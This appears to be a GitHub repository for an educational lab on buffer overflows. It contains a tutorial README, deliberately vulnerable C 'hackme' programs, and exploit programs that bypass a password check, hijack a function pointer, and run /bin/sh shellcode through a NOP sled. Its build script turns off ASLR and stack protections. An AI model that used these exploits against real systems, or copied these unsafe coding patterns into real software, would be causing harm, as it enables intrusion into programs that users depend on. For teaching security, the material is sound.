├── README.md ├── code ├── compile-all.sh ├── exploit.c ├── exploit1.c ├── exploit2 ├── exploit2.c ├── exploit3 ├── exploit3.c ├── exploit4 ├── exploit4.c ├── exploit5 ├── exploit5.c ├── exploit6 ├── exploit6.c ├── hackme1 ├── hackme1.c ├── hackme2 ├── hackme2.c ├── hackme3 ├── hackme3.c ├── hackme4 ├── hackme4.c ├── hackme5 ├── hackme5.c ├── hackme6 ├── hackme6.c ├── makeshellcode.sh ├── public.txt ├── secret.txt ├── shellcode-creator.c └── shellcode.bin └── img ├── exploit2.png ├── exploit3.png ├── exploit3explained.png ├── exploit4.png ├── exploit4environment.png ├── exploit5.png ├── exploit5screen.png ├── exploit6.png ├── exploit6explained.png ├── makeshellcode.png └── stack.png /README.md: -------------------------------------------------------------------------------- 1 | # overflow_with_joy 2 | 3 | This is a collection of small demo programs written in c that are vulnerable for overflows and exploits. 4 | 5 | - [Background](#background) and general explanations 6 | - [Setup](#setup) 7 | * [compiling everything](#compiling-everything) 8 | * [creating shellcode bytes](#creating-shellcode-bytes) 9 | - [Hackme 1](#hackme-1) executes whatever shellcode is inserted. The attacker can use it to start a shell. 10 | - [Hackme 2](#hackme-2) checks a password, but a buffer overflow makes it possible to bypass the authentication. 11 | - [Hackme 3](#hackme-3) has a function pointer that can be overwritten with a buffer overflow, causing the user to hit the jackpot. 12 | - [Hackme 4](#hackme-4) can be tricked to execute shellcode from the environment variables to print "hacked!" 13 | - [Hackme 5](#hackme-5) can be manipulated with a buffer overflow to execute code on the stack, in this case to start a new shell. 14 | - [Hackme 6](#hackme-6) has a heap overflow vulnerability that can be exploited to display the contents of a secret file. 15 | 16 | 17 | 18 | ## Background ## 19 | 20 | The memory of a program is seperated in different parts, including text for the code, data, bss, heap and stack. The data segment is used for initialized static and global variables, int the bss section, uninitilized static and global variables are stored. The heap is used for dynamic memory accessed with new() or malloc(), and the stack contains local variables and some other information. When a function is executed, it uses the stack to store its variables, parameters for other functions to call, and some information about the control flow. For example, when a function is called, the program has to save the address of the next instruction after the function call, so it can return later and resume the execution of instructions. This address is saved on the stack and later retrieved from there. 21 | 22 | Information is also saved in registers. The instruction pointer (called RIP in 64 bit architectures) points to the next instruction the program will execute. The RSP (stack pointer) points to the top of the stack, where variables would be pushed onto or popped from the stack. The RPB (base pointer) points to the beginning of the stack at the very bottom for this specific function. At the location where the RPB points to lies the value of the old RPB of the function that originally called this function, and the return address that is used to jump back. 23 | 24 | ![Stack](https://github.com/LauraWartschinski/overflow_with_joy/blob/master/img/stack.png) 25 | 26 | Some vulnerabilities in code can make it possible to manipulate that stack, e.g. to overwrite the return address, which will cause the programm to jump to a different place in the memory and possibly execute instructions there. One way this can happen is through a *buffer overflow*. A buffer is a designated block of memory that stores some values of the same type, e.g. an array of integers or a string (a list of chars). The buffer has a certain amount of memory space, but if it is not managed correctly, it might happen that more bytes are written to the buffer than intended, causing the data to overwrite whatever comex next on the stack, maybe even the return address (see image). On the heap, variables are stored as well, and in a similar way, overflows can be used to overwrite values and manipulate the program. 27 | 28 | Sometimes, it is possible for an attacker to insert instructions that were not originally part of the program, causing it to do whatever the attacker wants. That is generally done by injection shellcode, binary representations of assembler instructions. When passing shellcode via stdin or as an argument to a program, it is usually cut off at the first null byte. Therefore, the assembler code has to be created in a way that avoids null bytes in the hex representation. 29 | 30 | For a comprehensive introduction into the topic of buffer overflows and executing shell code on the stack, see [smashing the stack for fun and profit](http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf). 31 | 32 | 33 | ## Setup ## 34 | 35 | ### compiling everything ### 36 | To compile the files with the flags, execute 37 | ```./compile-all.sh``` 38 | All code is compiled with some flags that make it easier to execute exploits: `-fno-stack-protector` to not include stack canaries etc., `-z execstack` to make the stack executable, and `-O0` to remove optimizations. All exploits are made to execute on a 64 bit architecture and are tested in Ubuntu 18.04. The full command is for example 39 | `gcc hackme1.c -o hackme1 -O0 -fno-stack-protector -z execstack -g`. This script also disables ASLR (stack randomization), which helps because the memory addresses will stay the same between two executions of the program. 40 | 41 | The exploits are generally executed with `./hackmeX $(./exploitX)` if the exploit is passed as a parameter, or with `./exploitX | ./hackmeX` if it is used as stdin. 42 | 43 | ### creating shellcode bytes ### 44 | 45 | ![makeshellcode script](https://github.com/LauraWartschinski/overflow_with_joy/blob/master/img/makeshellcode.png) 46 | 47 | There is also a script `makeshellcode.sh`, which will automatically generate the bytes of assembly code for the instructions specified in `shellcode-creator.c`. It does so by starting the gdb and using its disass function to look at the bytes, to speed up the process of manual inspection. However, it will stop at the first `ret` instruction it encounters. As long as you don't use this, it's fine. Otherwise you might just need to figure out the instructions yourself. 48 | 49 | ## Hackme 1 ## 50 | 51 | To warm up, let's have a look at a program that was made to be exploited. This is the sourcecode for `hackme1.c`. 52 | 53 | ``` 54 | int main(void) 55 | { 56 | char shellcode[] = "[shellcode here]"; 57 | 58 | (*(void (*)()) shellcode)(); 59 | 60 | return 0; 61 | } 62 | ``` 63 | 64 | This very simple program takes some shellcode and executes it. This is possible because the variable shellcode is casted to a function pointer of the type `void (*)()`, a function pointer for an unspecified number of parameters. Therefore, the shellcode is cast into a function and then calls it, essentially running the shellcode. 65 | 66 | In `exploit1.c`, shellcode is inserted that will cause the program to set the registers correctly and then execute a syscall, which will start a new shell. The following assembly commands achieve this while also avoiding any null bytes. There are, however, many other ways to achieve the same goal. 67 | 68 | ``` 69 | "jmp j2;" //short jump to avoid null bytes in the shellcode 70 | "j1: jmp start;" //jump to the rest of the shellcode 71 | "j2: call j1;" //put the address of the string /bin/sh on the stack 72 | ".ascii \"/bin/shX\";" 73 | "start: pop %rdi;" //take the address of the string /bin/sh from the stack 74 | "xor %rax, %rax;" //set RAX to zero 75 | "movb %al, 7(%rdi);" //set a nullbyte after the /bin/sh in the written file 76 | "mov $0x3b, %al;" //put the syscall number in RAX, in this case 0x3b for execve 77 | "xor %rsi,%rsi;" //RSI must be set to zero 78 | "xor %rdx,%rdx;" //RDX must be set to zero 79 | "syscall;" //start the syscall 80 | ``` 81 | 82 | Since this programm is not actually exploited, but just executes the shellcode itself, just type `./exploit1` to try it out with the shellcode payload. 83 | 84 | 85 | ## Hackme 2 ## 86 | 87 | The first example was created specifically to execute shellcode. From now on, the examples will be programs that have other purposes, but contain vulnerabilities that can be exploited. 88 | 89 | Hackme2 contains a buffer overflow vulnerability that can be used to manipulate a variable. The program takes an input as argument and checks if that input is correct, displaying either "password correct" or "wrong password". Of course, it might execute some other functionality, but this is just a minimal example. The goal here is to get the program to execute the code for the correct password, without actually entering the correct password (assuming the hacker doesn't know it). If the program crashes afterwards, that's okay, since the goal was reached already. 90 | 91 | The programm can simply be executed with `./hackme2 mypassword`. This is the sourcecode: 92 | 93 | ``` 94 | #include 95 | #include 96 | #include 97 | 98 | int check_password(char *password){ 99 | int correct = 0; 100 | char password_buffer[16]; 101 | 102 | strcpy(password_buffer, password); 103 | 104 | if (strcmp(password_buffer, "actualpw") == 0) { 105 | correct = 1; 106 | } 107 | 108 | return correct; 109 | 110 | 111 | } 112 | 113 | int main (int argc, char *argv[]) { 114 | if (argc < 2) { 115 | puts("Please enter your password as a command line parameter."); 116 | } else { 117 | if (check_password(argv[1])) { 118 | printf("Password correct.\n"); 119 | } else { 120 | printf("Wrong password.\n"); 121 | } 122 | } 123 | 124 | return 0; 125 | 126 | } 127 | ``` 128 | 129 | In the check_password function, a buffer of length 16 is created to store the password. There is also a variable `int correct` that will contain 0 if the password is wrong, or 1 if the password was evaluated to be correct. This local variable is placed on the stack (here at location `rbp-8`, directly above the base pointer of the stack). At the end of the function, it is loaded into the register eax, which can be seen in the disassembled code of check_password at location +68. The main function then checks if eax is zero or not (with the `test %eax, %eax'` at position +54) and jumps to the different outputs depending on the result. When "actualpw" is passed to the program as paramter, the variable `correct` contains 00000001 and is there not zero, causing the program to display "oassword correct". 130 | 131 | When the buffer in check_password gets filled with bytes, it grows in the direction of the variable `correct`. With a length of 16 bytes, it overwrites the variable to contain e.g. `0x4141414141414141`, which is also evaluated to be not zero, so the main function jumps into the "password correct" branch once more, even though the correct password was never entered. 132 | 133 | ![exploit2](https://github.com/LauraWartschinski/overflow_with_joy/blob/master/img/exploit2.png) 134 | 135 | The programm `exploit2` just produces the correct number of bytes as an output. Execute both with `./hackme2 $(./exploit2)`. 136 | 137 | ## Hackme 3 ## 138 | 139 | This program is a little game that has an element of chance. If two random three-digit numbers are the same, the user will hit the jackpot and get a lot of money. However, the program uses a function pointer to jump to the part in the code where the game is executed. And the length of the username, which is stored in a buffer on the stack, is not checked at all. The function pointer can overwritten just as any other variable. This can be used to the players advantage, making the game give out a jackpot and not even crashing in the process of doing so! 140 | 141 | ![exploit3 explanation](https://github.com/LauraWartschinski/overflow_with_joy/blob/master/img/exploit3explained.png) 142 | 143 | 144 | This is the code for the program: 145 | 146 | ``` 147 | #include "string.h" 148 | #include "stdio.h" 149 | #include "time.h" 150 | #include "stdlib.h" 151 | 152 | void jackpot() 153 | { 154 | printf("\n\n$$$ You hit the jackpot!!! $$$\nAll money will be transferred to your account immediately.\n\n"); 155 | return; 156 | } 157 | 158 | void play() 159 | { 160 | srand(time(0)); 161 | int random = rand()%1000; 162 | int number = rand()/10000000; 163 | printf("\n\n======PLAYING THE GAME=====\n"); 164 | printf("The lucky number today is: %d\n", random); 165 | printf("You rolled: %d.\n", number); 166 | if (number == random){ 167 | jackpot(); 168 | } else { 169 | printf("Sadly, this means you didn't win.\n"); 170 | } 171 | return; 172 | } 173 | 174 | int main() 175 | { 176 | void (*functionptr)(); 177 | functionptr = &play; 178 | char name[8]; // first name of the player 179 | printf("Welcome to this game of luck! What is your fist name:\n"); 180 | scanf("%s",name); 181 | functionptr(); 182 | printf("Game finished.\n"); 183 | return 0; 184 | } 185 | ``` 186 | 187 | The attacker only needs to chose the username in such a way that the buffer spills over to the functionptr, which is saved on the stack directly next to the name buffer. Instead of having the functionptr point to play(), it should instead be made to point to jackpot() directly. The address of jackpot() might start with null bytes, but the attacker only has to overwrite the bytes that need to be changed. The input string `\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xca\x47\x55\x55\x55\x55` sets 8 bytes that can be anything (stored as the user's name), followed by the address of jackpot(). Executing `./hackme3 $(./exploit3)` achieves the same effect. (The address will probably have to be changed for the exploit to work on another system. Just run the program in gdb and use `disass jackpot` to see the address that is needed.) 188 | 189 | 190 | ![exploit3](https://github.com/LauraWartschinski/overflow_with_joy/blob/master/img/exploit3.png) 191 | 192 | 193 | ## Hackme 4 ## 194 | This time, the goal is to make the program execute a syscall that was originally not present in the code. For example, an attacker could cause a printf that prints "hacked" on the screen. To achieve this, the assembler command 'syscall' has to be executed, with the register RSI containing the address of the string that should be printed, RDX containing the length of the string, and RAX and RDX containing the value 1. Possible shellcode for this without using any null bytes could look like this: 195 | 196 | ``` 197 | eb 02 jmp 0x4 198 | eb 0d jmp 0x11 199 | e8 f9 ff ff ff call 0x2 200 | 68 61 63 6b 65 64 21 0a string "hacked!" 201 | 5e pop rsi 202 | 48 31 c0 xor rax,rax 203 | 48 ff c0 inc rax 204 | 48 89 c7 mov rdi,rax 205 | 48 89 c2 mov rdx,rax 206 | 48 c1 e2 03 shl rdx,0x3 207 | 0f 05 syscall 208 | ``` 209 | 210 | The first three instructions save the address of the string on the stack. Then, this address is taken from the stack and put in register rsi. Next, the register RAX is cleared out to contain zero by using XOR with itself. RAX is then set to 1 by using incremet. Then, RDI and RDX are also set to 1 by copying the value from rax. With a shift left of 3 the value in RDX is changed to 8. Finally, the syscall is executed. This code will call printf and print "hacked!" to the screen. It is saved in the file `shellcode.bin`. 211 | 212 | But how would a hacker put this shellcode into the target program? The whole programm is quite small, and there is only a buffer of 8 bytes. 213 | 214 | ``` 215 | #include 216 | 217 | void insecure(char* input){ 218 | char buf[8]; 219 | strcpy(buf,input); 220 | return; 221 | } 222 | 223 | int main(int argc, char *argv[]) 224 | { 225 | insecure(argv[1]); 226 | return 0; 227 | } 228 | ``` 229 | An attacker can overwrite the RIP stored on the stackframe of insecure() to jump somewhere else and to execute shellcode. However, there is not much space on the stack of the programm to put all the shellcode. There is another option: The attacker can put the shellcode in an environment variable, which will also be accessible on the stack during runtime. This is achieved with the command `export SHELLCODE=$(cat shellcode.bin)`. If the program is now run with gdb and the stack is examined way down at the very bottom, the environment variable is actually there. 230 | 231 | ![Environment variables on the stack](https://github.com/LauraWartschinski/overflow_with_joy/blob/master/img/exploit4environment.png) 232 | 233 | Now all there is to do is to fill the buffer for the argument to `hackme4` with 8 bytes of meaningless content, followed by the 8 byte address of the environment variable on the stack. In `exploit4`, there is actually a somewhat flexible function that will calculate this position at runtime, taking the name of the environment variable as an argument. Look at [the sourcecode](https://github.com/LauraWartschinski/overflow_with_joy/blob/master/code/exploit4.c) for more details. Now, if the hacker starts the program with `./hackme4 $(./exploit4 SHELLCODE)`, the shellcode calling printf is executed. 234 | 235 | ![exploit4](https://github.com/LauraWartschinski/overflow_with_joy/blob/master/img/exploit4.png) 236 | 237 | 238 | ## Hackme 5 ## 239 | 240 | For this example, the goal is to execute some arbitrary commands that were not programmed into `hackme5.c`. This time, a generous buffer is present, and the shellcode can be placed direclty in the buffer that causes the overflow. 241 | 242 | This is the original sourcecode: 243 | 244 | ``` 245 | #include 246 | #include 247 | int main(int argc, char *argv[]) 248 | { 249 | char buf[256]; 250 | if (argc < 2) 251 | puts("Please enter your name as a command line parameter."); 252 | else 253 | { 254 | strcpy(buf,argv[1]); 255 | printf("Input was: %s\n",buf); 256 | return 0; 257 | } 258 | } 259 | ``` 260 | 261 | This program accepts a a parameter and then writes it out again. However, the length of the parameter is not checked, and if it exceeds the 256 byte buffer, an oveflow will occur. This makes it possible to overwrite the return address, causing the programm to jump elsewhere. 262 | 263 | More specifically, the programmed can be made to jump up on the stack into the area of the buffer itself. If the buffer was filled with data that can also be interpreted as instructions, they can then be executed. By putting in the instructions to execute a syscall that starts a shell, the programm will do exactly that. Shellcode for starting a new shell was already created for `hackme1`, so it can be used again here. `exploit5.c` produces a string of bytes that represent this shellcode, which can be filled in the vulnerable program with `./hackme5 $(./exploit5)`. 264 | 265 | ![exploit3](https://github.com/LauraWartschinski/overflow_with_joy/blob/master/img/exploit5.png) 266 | 267 | When the return address is overwritten with an address within the stack, the execution of the programm follows that and jumps into a list of NOP instructions. This 'nop sled' accounts for small variations in the size and position of the stack. The next intructions are there to prepare the syscall execve. In register RAX, the number of the syscall must be placed. Registers RDX and RSI have to be zero for this example. RDI needs to point to a location where a string can be found that contains the name of the programm to execute, in this case `/bin/sh`. 268 | 269 | Since it is not known exactly at which position this string will end up, the address can be put on the stack by using `call`, which was not intended for this hacky purpose, but serves it well. Call will push the address directly after itself on the stack, adjust the stack pointer, and then jump to whatever should be called. By placing the address of the next 'instruction' (in this case the address of the string) on top of the stack, an attacker can get the address of the string at runtime by simply popping it from the stack again. Of course, there are many other solutions to achieve the same outcome. The shellcode presented here contains no null bytes because it has to be passed as a parameter to the programm. 270 | 271 | The final shellcode for executing the exploit is generated by `exploit.c`. The shellcode starts with a NOP slide (\x90 bytes). The \xaa bytes near the end are for the purpose of aligning the stack correctly. 272 | 273 | ``` 274 | #include 275 | #include 276 | 277 | char shellcode[] = "\xeb\x02\xeb\x0d\xe8\xf9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\xaa\xaa\xaa\xaa\xaa\xaa\x08\xdd\xff\xff\xff\x7f"; 278 | 279 | int main() 280 | { 281 | int i; 282 | for (i = 0; i < (256 - strlen(shellcode) + 8 + 6); i++) 283 | { 284 | printf("\x90"); 285 | } 286 | printf("%s",shellcode); 287 | return 0; 288 | } 289 | ``` 290 | 291 | When execute the exploits with `./hackme5 $(./exploit5)`, a new shell is spawned. 292 | 293 | ![exploit5 demo](https://github.com/LauraWartschinski/overflow_with_joy/blob/master/img/exploit5screen.png) 294 | 295 | 296 | 297 | ## Hackme 6 ## 298 | 299 | This time, the heap is used to create an overflow. There are two files on the file system, `public.txt` and `secret.txt`. The following program takes the username as an argument, greets the user, and without any intended connection to the username, displays the content of `public.txt`. However, since all the data is stored on the heap, an overflow for the username can overwrite the address of the file to read, causing the programm to display the contents of `secret.txt`. 300 | 301 | 302 | ![exploit6 demo](https://github.com/LauraWartschinski/overflow_with_joy/blob/master/img/exploit6.png) 303 | 304 | This is the sourcecode: 305 | 306 | ``` 307 | #include 308 | #include 309 | #include 310 | 311 | //a struct to hold information about a file 312 | struct file 313 | { 314 | int id; 315 | char filename[8]; 316 | }; 317 | 318 | //a struct to hold information about a user 319 | struct user 320 | { 321 | int id; 322 | char name[8]; 323 | }; 324 | 325 | 326 | int main (int argc, char **argv) 327 | { 328 | if (argc < 2) { 329 | puts("Please enter your name as a command line parameter."); 330 | 331 | } 332 | else { 333 | 334 | //creating a user and a file 335 | struct user *userptr; 336 | userptr = malloc(sizeof(struct user)); 337 | 338 | struct file *fileptr; 339 | fileptr = malloc(sizeof(struct file)); 340 | fileptr->id = 1; 341 | strcpy(fileptr->filename, "public.txt"); 342 | 343 | 344 | //setting the user information - on the heap, this might overwrite the information of the file 345 | userptr->id = 1; 346 | strcpy(userptr->name, argv[1]); 347 | 348 | printf("Welcome, user %s!\n\n", userptr->name); 349 | 350 | 351 | //opening some file, supposedly the file public.txt 352 | 353 | printf("On an unrelated note, opening %s.\n", fileptr->filename); 354 | FILE *readfile; 355 | readfile = fopen (fileptr->filename, "r"); 356 | if (readfile == NULL) { 357 | fprintf(stderr, "Error opening file\n\n"); 358 | exit (1); 359 | } 360 | 361 | 362 | //printing the file contents 363 | printf("File was successfully opened. It contains: \n"); 364 | int c; 365 | while ((c = getc(readfile)) != EOF) 366 | putchar(c); 367 | putchar('\n'); 368 | 369 | } 370 | return 0; 371 | } 372 | ``` 373 | 374 | The space for information about the user is allocated first on the heap, and after that, space for the file is allocated. However, the information about the user is written on the heap later, which makes it possible to simply overwrite what was stored for the file on the heap with new information, e.g. the string "secret.txt" at exactly the place where `fileptr->filename` points to, causing the program to load secret.txt. 375 | 376 | 377 | ![exploit6 demo](https://github.com/LauraWartschinski/overflow_with_joy/blob/master/img/exploit6explained.png) -------------------------------------------------------------------------------- /code/compile-all.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo sysctl -w kernel.randomize_va_space=0 3 | 4 | 5 | gcc shellcode-creator.c -o shellcode -O0 -fno-stack-protector -g 6 | 7 | gcc hackme1.c -o hackme1 -O0 -fno-stack-protector -z execstack -g 8 | gcc hackme2.c -o hackme2 -O0 -fno-stack-protector -z execstack -g 9 | gcc hackme3.c -o hackme3 -O0 -fno-stack-protector -z execstack -g 10 | gcc hackme4.c -o hackme4 -O0 -fno-stack-protector -z execstack -g 11 | gcc hackme5.c -o hackme5 -O0 -fno-stack-protector -z execstack -g 12 | gcc hackme6.c -o hackme6 -O0 -fno-stack-protector -z execstack -g 13 | 14 | 15 | gcc exploit1.c -o exploit2 -O0 -fno-stack-protector -z execstack -g 16 | gcc exploit2.c -o exploit2 -O0 -fno-stack-protector -z execstack -g 17 | gcc exploit3.c -o exploit3 -O0 -fno-stack-protector -z execstack -g 18 | gcc exploit4.c -o exploit4 -O0 -fno-stack-protector -z execstack -g 19 | gcc exploit5.c -o exploit5 -O0 -fno-stack-protector -z execstack -g 20 | gcc exploit6.c -o exploit6 -O0 -fno-stack-protector -z execstack -g 21 | 22 | -------------------------------------------------------------------------------- /code/exploit.c: -------------------------------------------------------------------------------- 1 | 2 | int main(void) 3 | { 4 | char shellcode[] = "\xeb\x02\xeb\x0d\xe8\xf9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05"; 5 | 6 | (*(void (*)()) shellcode)(); 7 | 8 | return 0; 9 | } -------------------------------------------------------------------------------- /code/exploit1.c: -------------------------------------------------------------------------------- 1 | 2 | int main(void) 3 | { 4 | char shellcode[] = "\xeb\x02\xeb\x0d\xe8\xf9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05"; 5 | 6 | (*(void (*)()) shellcode)(); 7 | 8 | return 0; 9 | } 10 | -------------------------------------------------------------------------------- /code/exploit2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/code/exploit2 -------------------------------------------------------------------------------- /code/exploit2.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | int i; 6 | for (i = 0; i < 32; i++) 7 | { 8 | printf("\x41"); 9 | } 10 | return 0; 11 | } 12 | 13 | -------------------------------------------------------------------------------- /code/exploit3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/code/exploit3 -------------------------------------------------------------------------------- /code/exploit3.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | 4 | int main() 5 | { 6 | 7 | printf("\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xca\x47\x55\x55\x55\x55"); 8 | return 0; 9 | } 10 | 11 | -------------------------------------------------------------------------------- /code/exploit4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/code/exploit4 -------------------------------------------------------------------------------- /code/exploit4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | //function to turn string with hex representations into actual hex 7 | //source: https://stackoverflow.com/questions/6933039/convert-two-ascii-hexadecimal-characters-two-ascii-bytes-in-one-byte/6933094#6933094 8 | uint8_t* 9 | hex_decode(const char *in, size_t len,uint8_t *out) 10 | { 11 | unsigned int i, t, hn, ln; 12 | for (t = 0,i = 0; i < len; i+=2,++t) { 13 | hn = in[i] > '9' ? in[i] - 'A' + 10 : in[i] - '0'; 14 | ln = in[i+1] > '9' ? in[i+1] - 'A' + 10 : in[i+1] - '0'; 15 | out[t] = (hn << 4 ) | ln; 16 | } 17 | return out; 18 | } 19 | 20 | 21 | int main(int argc, char *argv[]) 22 | { 23 | 24 | //get the position of the environment variable passed as an argument on the stack 25 | void *add = getenv(argv[1])+2; //+2 because the name of the function itself is also on the stack. The name "exploit4" differs in length from the name "hackme4", which this offset corrects 26 | 27 | //put the address in a string 28 | char strAddress[] = "000000000000"; 29 | sprintf(strAddress, "%p", add); 30 | 31 | //first, print 8 byte for the buf variable, and 8 byte to overwrite the RBP 32 | int i = 0; 33 | for (i = 0; i < 16; i++) 34 | { 35 | printf("\x41"); 36 | } 37 | 38 | //then we take the address of the environment variable and transform it into a hexadecimal output 39 | char hex[] = "000000000000"; 40 | int y = 0; 41 | for (int x = 12; x > 0; x=x-2){ 42 | hex[y]=(unsigned char)strAddress[x]; 43 | hex[y+1]=(unsigned char)strAddress[x+1]; 44 | y = y+2; 45 | 46 | } 47 | uint8_t res[14]; 48 | hex_decode(hex,strlen(hex),res); 49 | 50 | //and this is also printed to be fed into the hackme4 program 51 | printf("%s",res); 52 | return 0; 53 | } 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /code/exploit5: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/code/exploit5 -------------------------------------------------------------------------------- /code/exploit5.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char shellcode[] = "\xeb\x02\xeb\x0d\xe8\xf9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\xaa\xaa\xaa\xaa\xaa\xaa\x08\xdd\xff\xff\xff\x7f"; 5 | 6 | int main() 7 | { 8 | int i; 9 | for (i = 0; i < (256 - strlen(shellcode) + 8 + 6); i++) 10 | { 11 | printf("\x90"); 12 | } 13 | printf("%s",shellcode); 14 | return 0; 15 | } 16 | 17 | -------------------------------------------------------------------------------- /code/exploit6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/code/exploit6 -------------------------------------------------------------------------------- /code/exploit6.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | int i; 6 | for (i = 0; i < 32 ; i++) 7 | { 8 | printf("\xAA"); 9 | } 10 | 11 | printf("secret.txt"); 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /code/hackme1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/code/hackme1 -------------------------------------------------------------------------------- /code/hackme1.c: -------------------------------------------------------------------------------- 1 | 2 | int main(void) 3 | { 4 | char shellcode[] = ""; 5 | 6 | (*(void (*)()) shellcode)(); 7 | 8 | return 0; 9 | } -------------------------------------------------------------------------------- /code/hackme2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/code/hackme2 -------------------------------------------------------------------------------- /code/hackme2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int check_password(char *password){ 6 | int correct = 0; 7 | char password_buffer[16]; 8 | 9 | strcpy(password_buffer, password); 10 | 11 | if (strcmp(password_buffer, "actualpw") == 0) { 12 | correct = 1; 13 | } 14 | 15 | return correct; 16 | 17 | 18 | } 19 | 20 | 21 | int main (int argc, char *argv[]) { 22 | if (argc < 2) { 23 | puts("Please enter your password as a command line parameter."); 24 | } else { 25 | if (check_password(argv[1])) { 26 | printf("Password correct.\n"); 27 | } else { 28 | printf("Wrong password.\n"); 29 | } 30 | } 31 | 32 | return 0; 33 | 34 | } -------------------------------------------------------------------------------- /code/hackme3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/code/hackme3 -------------------------------------------------------------------------------- /code/hackme3.c: -------------------------------------------------------------------------------- 1 | #include "string.h" 2 | #include "stdio.h" 3 | #include "time.h" 4 | #include "stdlib.h" 5 | 6 | void jackpot() 7 | { 8 | printf("\n\n$$$ You hit the jackpot!!! $$$\nAll money will be transferred to your account immediately.\n\n"); 9 | return; 10 | } 11 | 12 | void play() 13 | { 14 | srand(time(0)); 15 | int random = rand()%1000; 16 | int number = rand()/10000000; 17 | printf("\n\n======PLAYING THE GAME=====\n"); 18 | printf("The lucky number today is: %d\n", random); 19 | printf("You rolled: %d.\n", number); 20 | if (number == random){ 21 | jackpot(); 22 | } else { 23 | printf("Sadly, this means you didn't win.\n"); 24 | } 25 | return; 26 | } 27 | 28 | int main() 29 | { 30 | void (*functionptr)(); 31 | functionptr = &play; 32 | char name[8]; // first name of the player 33 | printf("Welcome to this game of luck! What is your fist name:\n"); 34 | scanf("%s",name); 35 | functionptr(); 36 | printf("Game finished.\n"); 37 | return 0; 38 | } -------------------------------------------------------------------------------- /code/hackme4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/code/hackme4 -------------------------------------------------------------------------------- /code/hackme4.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void insecure(char* input){ 4 | char buf[8]; 5 | strcpy(buf,input); 6 | return; 7 | } 8 | 9 | int main(int argc, char *argv[]) 10 | { 11 | insecure(argv[1]); 12 | return 0; 13 | } 14 | 15 | -------------------------------------------------------------------------------- /code/hackme5: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/code/hackme5 -------------------------------------------------------------------------------- /code/hackme5.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | int main(int argc, char *argv[]) 4 | { 5 | char buf[256]; 6 | if (argc < 2) 7 | puts("Please enter your name as a command line parameter."); 8 | else 9 | { 10 | strcpy(buf,argv[1]); 11 | printf("Input was: %s\n",buf); 12 | } 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /code/hackme6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LauraWartschinski/overflow_with_joy/668a4fbbc5b4f84a2002414ce912d0b91dcb9907/code/hackme6 -------------------------------------------------------------------------------- /code/hackme6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | //a struct to hold information about a file 6 | struct file 7 | { 8 | int id; 9 | char filename[8]; 10 | }; 11 | 12 | //a struct to hold information about a user 13 | struct user 14 | { 15 | int id; 16 | char name[8]; 17 | }; 18 | 19 | 20 | int main (int argc, char **argv) 21 | { 22 | 23 | 24 | if (argc < 2) { 25 | puts("Please enter your name as a command line parameter."); 26 | 27 | } 28 | else { 29 | 30 | //creating a user and a file 31 | struct user *userptr; 32 | userptr = malloc(sizeof(struct user)); 33 | 34 | struct file *fileptr; 35 | fileptr = malloc(sizeof(struct file)); 36 | fileptr->id = 1; 37 | strcpy(fileptr->filename, "public.txt"); 38 | 39 | 40 | //setting the user information - on the heap, this might overwrite the information of the file 41 | userptr->id = 1; 42 | strcpy(userptr->name, argv[1]); 43 | 44 | printf("Welcome, user %s!\n\n", userptr->name); 45 | 46 | 47 | /* printf(" [user: %s at %p %p]\n", 